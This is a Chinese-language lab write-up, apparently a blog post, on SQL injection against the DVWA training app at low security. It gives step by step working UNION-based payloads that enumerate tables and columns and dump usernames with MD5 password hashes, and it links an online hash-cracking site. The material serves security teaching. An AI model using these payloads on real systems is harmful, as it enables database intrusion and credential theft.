SQL注入一般过程

实验:Vulnerability: SQL Injection(low)

SQL注入一般过程

1.判断注入点

一般和数据库进行交互的位置

2.判断注入点类型

字符型判断:

1' 报错

1' and '1'='2 错误结果

1' and '1'='1 正确结果

数字型判断:

1' 报错

1 and 1=2 错误结果

1 and 1=1 正确结果

3.获取数据回显位置

3.1 判断返回字段数

两种方式判断:1.order by 2. union select

1' order by 1# 正确显示结果

1' order by 2# 正确显示结果

1' order by 3# 报错

判断返回结果有两列。

3.2 判断回显位置

1' union select 1# 报错

1' union select 1,2# 正确显示,并成功显示回显位置

4.查询数据库名

database() 获取数据库名,user()获取用户名

1' union select database(),user() #

5.获取表名

数据库:information_schema

数据表:information_schema.tables

字段:table_schema = 'dvwa'

通过上面的内容查询表名,table_name

-1' union select 1,table_name from information_schema.tables

where table_schema=database()#

报错:

Illegal mix of collations for operation 'UNION' 编码错误

三种方式解决:

1.变成16进制输出

-1' union select 1,hex(table_name) from information_schema.tables

where table_schema=database()#

2.输出指定字符集

-1' union select 1,table_name collate utf8_general_ci from information_schema.tables

where table_schema=database()#

3.直接修改数据库字符集

查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合

-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables

where table_schema=database()#

查询结果为:guestbook,users

5.查询字段名

数据库:information_schema

表:information_schema.columns

条件字段:table_schema='dvwa',table_name='users'

查询内容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns

where table_schema=database() and table_name='users'#

查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.查询数据

查询表:users

查询字段:user,password

-1' union select 1,group_concat(user,'~',password) from users#

查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99

MD5在线解密:

https://www.cmd5.com/

相关推荐
CodeAmaz14 小时前
MySQL 事务隔离级别详解
数据库·mysql·事务隔离级别
千寻技术帮14 小时前
10398_基于SSM的教学评价管理系统
数据库·mysql·毕业设计·ssm·教学评价
晨星33414 小时前
使用 IntelliJ IDEA 轻松连接 Java 与 MySQL 8 数据库
java·开发语言·数据库
PWRJOY14 小时前
【MySQL】使用mycli查看数据库的基本操作
数据库·mysql
SadSunset15 小时前
(16)Bean的实例化
java·数据库·笔记·spring
JIngJaneIL15 小时前
基于Java + vue干洗店预约洗衣系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot
cui_win15 小时前
MySQL 压测实战:sysbench 从入门到精通
数据库·mysql·压测·sysbench
屋外雨大,惊蛰出没15 小时前
小白安装Redis
数据库·redis·缓存
IndulgeCui15 小时前
KES集群部署安装问题记录
数据库
Yilena15 小时前
通过mysqldump进行数据迁移时权限不足的解决方案
数据库·学习